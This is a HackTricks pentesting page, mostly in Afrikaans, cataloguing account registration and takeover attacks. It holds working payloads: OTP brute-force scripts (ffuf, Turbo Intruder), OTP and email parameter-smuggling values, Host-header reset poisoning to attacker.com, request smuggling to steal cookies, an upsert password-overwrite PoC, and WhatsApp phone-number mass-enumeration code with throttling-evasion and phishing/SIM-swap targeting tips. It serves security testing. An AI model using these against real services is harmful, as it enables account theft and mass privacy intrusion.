Registrasie- en Oorname-kwesbaarhede

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Registration Takeover

Duplicaat-registrasie

  • Probeer om ’n konto te genereer met ’n bestaande gebruikersnaam
  • Probeer variasies van die e-pos:
  • gebruik hoofletters
  • +1@
  • voeg ’n punt in die e-pos
  • spesiale karakters in die e-posnaam (%00, %09, %20)
  • Sit leĂ« karakters na die e-pos: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Probeer e-posverskaffer se canonicalization-trieke (diens-afhanklik):
  • Gmail ignoreer punte en subaddressing: victim+1@gmail.com, v.ic.tim@gmail.com word afgelewer aan victim@gmail.com
  • Sommige verskaffers is case-insensitive in die local-part
  • Sommige verskaffers aanvaar unicode confusables. Probeer homoglyphs en soft hyphen \u00AD binne die local-part
  • Misbruik dit om: unikheidskontroles te omseil, duplikaat rekeninge/workspace invites te verkry, of die slagoffer se registrasies te blokkeer (Tydelike DoS) terwyl jy ’n takeover voorberei

Username Enumeration

Kontroleer of jy kan vasstel wanneer ’n gebruikersnaam reeds binne die toepassing geregistreer is.

  • Verskillende foutboodskappe of HTTP-statuskodes
  • Tydsverskille (bestaande gebruiker kan ’n opsoektog na IdP/DB veroorsaak)
  • Registrasievorm se autofill van profieldata vir bekende e-posadresse
  • Kontroleer team/invite flows: die invoer van ’n e-pos kan openbaar of ’n rekening bestaan

Password Policy

Wanneer jy ’n gebruiker skep, ondersoek die wagwoordbeleid (kyk of jy swak wagwoorde kan gebruik).
Indien dit die geval is, kan jy probeer om credentials te bruteforce.

SQL Injection

Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

Sodra geregistreer, probeer om die e-pos te verander en kyk of hierdie verandering korrek gevalideer word of of jy dit na ewekansige e-posadresse kan verander.

More Checks

  • Check if you can use disposable emails (mailinator, yopmail, 1secmail, etc.) or bypass the blocklist with subaddressing like victim+mailinator@gmail.com
  • Long password (>200) lei tot DoS
  • Check rate limits on account creation
  • Gebruik username@burp_collab.net en ontleed die callback
  • As telefoonnommer-verifikasie gebruik word, ondersoek phone parsing/injection edge cases

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

Phone-number–centric messengers openbaar ’n presence oracle wanneer die kliĂ«nt kontakte sinkroniseer. Replaying WhatsApp’s discovery requests het histories >100M lookups per hour gelewer, wat byna-volledige rekening-enumerasies moontlik gemaak het.

Aanvals-werkvloeistroom

  1. Instrumenteer ’n amptelike kliĂ«nt om die address-book upload request (authenticated blob of normalized E.164 numbers) vas te vang. Replay dit met attacker-generated nommers terwyl jy dieselfde cookies/device token hergebruik.
  2. Batch nommers per versoek: WhatsApp aanvaar duisende identifiers en retourneer geregistreerd/niet-geregistreerd plus metadata (business, companion, ens.). Analiseer antwoorde offline om teikenlyste te bou sonder om slagoffers te boodskap.
  3. Skaleer horisontaal die enumerasie met SIM banks, cloud devices, of residential proxies sodat per-account/IP/ASN throttling nooit uitgelok word nie.

Dialing-plan modeling

Model elke land se dialing plan om ongeldig kandidaatnommers oor te slaan. Die NDSS dataset (country-table.*) lys landkodes, adoptiedigtheid, en platformverdeling sodat jy hoë-treffer-bereike kan prioritiseer. Voorbeeld seeding code:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Prioritise voorvoegsels wat by werklike toewysings pas (Mobile Country Code + National Destination Code) voordat jy die oracle bevraagteken om deurset nuttig te hou.

Turning enumerations into targeted attacks

  • Voer leaked phone numbers (e.g., Facebook’s 2021 breach) in die oracle in om te bepaal watter identiteite steeds aktief is voor phishing, SIM-swapping, of spamming.
  • Sny sensusse per land/OS/app-tipe om streke te vind met swak SMS-filtering of groot WhatsApp Business-aanvaarding vir gelokaliseerde social engineering.

Public-key reuse correlation

WhatsApp openbaar elke rekening se X25519 identity key tydens sessie-opstelling. Versoek identity-materiaal vir elke geïnumereerde nommer en de-dupliseer die public keys om account farms, gekloonde clients, of onveilige firmware te openbaar — gedeelde sleutels deanonymize multi-SIM-operasies.

Registrasievloei verifieer dikwels eienaarskap via ’n numeriese OTP of ’n magic-link token. Tipiese swakpunte:

  • Guessable of kort OTP (4–6 syfers) sonder effektiewe rate limiting of IP/device tracking. Probeer parallel guesses en header/IP-rotasie.
  • OTP reuse oor aksies of rekeninge, of nie gebind aan die spesifieke gebruiker/aksie nie (bv. dieselfde kode werk vir login en signup, of werk nadat e-pos verander is).
  • Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: onderskei wrong vs expired vs wrong-user codes aan die hand van status/message/body length.
  • Tokens word nie ongeldig gemaak na sukses of na password/email change nie.
  • Verifikasie-token nie vasgemaak aan user agent/IP nie, wat cross-origin voltooiing vanaf aanvaller-beheerde bladsye toelaat.

Bruteforce-voorbeeld met ffuf teen ’n JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Parallel/gesamentlike raai om opeenvolgende sperrings te omseil (gebruik Turbo Intruder in Burp):

Turbo Intruder-snippet om 6‑syfer OTP-pogings te oorstroom ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Probeer racing verification: submit dieselfde geldige OTP terselfdertyd in twee sessies; soms word een sessie 'n geverifieerde attacker account terwyl die victim flow ook slaag.
- Toets ook Host header poisoning op verification links (dieselfde as reset poisoning hieronder) om 'n leak te veroorsaak of verification op 'n attacker‑controlled host te voltooi.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

'n Kragtige klas kwessies ontstaan wanneer 'n attacker aksies op die victim se e-pos uitvoer voordat die victim hul rekening skep, en later weer toegang herwin.

Sleutel tegnieke om te toets (pas aan by die teiken se vloei):

- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@
`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification

Praktiese wenke

- Versamel flows en endpoints vanaf web/mobile bundles. Soek na classic signup, SSO linking, email/phone change, en password reset endpoints.
- Skep realistiese automatisering om sessies lewendig te hou terwyl jy ander flows toets.
- Vir SSO‑toetse, staan 'n toets OIDC provider op en issue tokens met `email` claims vir die victim adres en `email_verified=false` om te kontroleer of die RP ongeverifieerde IdPs vertrou.
- Na enige password reset of email change, verifieer dat:
  - alle ander sessions en tokens ongeldig gemaak word,
  - hangende email/phone change vermoëns geannuleer word,
  - voorheen gelinkte IdPs/emails/phones weer ge‑verify word.

Let wel: Omvattende metodologie en gevallestudies van hierdie tegnieke is gedokumenteer in Microsoft’s pre‑hijacking research (sien References aan die einde).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR op API-parameters

  1. Aanvaller moet aanmeld met hul rekening en na die Change password-funksie gaan.
  2. Begin Burp Suite en onderskep die versoek
  3. Stuur dit na die repeater-tab en wysig die parameters : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Swak wagwoordherstel-token

Die wagwoord-terugstel-token moet ewekansig gegenereer word en elke keer uniek wees.
Probeer bepaal of die token verval of of dit altyd dieselfde is; in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word.

  • Tydstempel
  • Gebruiker-ID
  • Gebruiker se e-pos
  • Voornaam en van
  • Geboortedatum
  • Kriptografie
  • Slegs syfers
  • Korte tokenreeks ( karakters tussen [A-Z,a-z,0-9])
  • Token-hergebruik
  • Token-vervaldatum

Leaking Password Reset Token

  1. Trigger ’n password reset request via die API/UI vir ’n spesifieke e-pos, bv: test@mail.com
  2. Inspekteer die bedienerrespons en kyk vir resetToken
  3. Gebruik dan die token in ’n URL soos https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Wagwoordherstel via gebruikersnaambotsing

  1. Registreer op die stelsel met ’n gebruikersnaam identies aan die slagoffer se gebruikersnaam, maar met spasies voor en/of na die gebruikersnaam. bv: "admin "
  2. Versoek ’n wagwoordherstel met jou kwaadwillige gebruikersnaam.
  3. Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
  4. Meld aan by die slagoffer se rekening met die nuwe wagwoord.

Die platform CTFd was kwesbaar vir hierdie aanval.
Sien: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. Vind ’n XSS binne die toepassing of ’n subdomein as die cookies geskop is na die ouer-domein : *.domain.com
  2. Leak the current sessions cookie
  3. Meld aan as die gebruiker deur die cookie te gebruik

Account Takeover Via HTTP Request Smuggling

  1. Gebruik smuggler om die tipe HTTP Request Smuggling op te spoor (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Bou ’n versoek wat die POST / HTTP/1.1 sal oor skryf met die volgende data:
    GET http://something.burpcollaborator.net HTTP/1.1 X: met die doel om ’n open redirect te skep wat die slagoffers na burpcollab stuur en hul koekies steel\
  3. Die finale versoek kan soos volg lyk
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone-verslae oor die uitbuiting van hierdie fout\

Account Takeover via CSRF

  1. Skep ’n payload vir die CSRF, byv.: “HTML form met outo-submit vir ’n wagwoordverandering”
  2. Stuur die payload

Account Takeover via JWT

JSON Web Token kan gebruik word om ’n gebruiker te autentiseer.

  • Wysig die JWT met ’n ander User ID / Email
  • Kontroleer vir ’n swak JWT-handtekening

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Sommige signup handlers voer ’n upsert uit wanneer die verskafde email reeds bestaan. As die endpoint ’n minimale body met ’n email en password aanvaar en nie eienaarskapverifikasie afdwing nie, sal die stuur van die slagoffer se email hul password pre-auth oorskryf.

  • Ontdekking: oes endpoint-names uit gebundelde JS (of mobile app traffic), en fuzz base paths soos /parents/application/v4/admin/FUZZ met ffuf/dirsearch.
  • Metode-aanwysers: ’n GET wat boodskappe teruggee soos “Only POST request is allowed.” dui dikwels die korrekte verb aan en dat ’n JSON body verwag word.
  • Minimale body waargeneem in die wild:
{"email":"victim@example.com","password":"New@12345"}

Voorbeeld PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Impak: Volledige Account Takeover (ATO) sonder enige reset token, OTP, of email verification.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks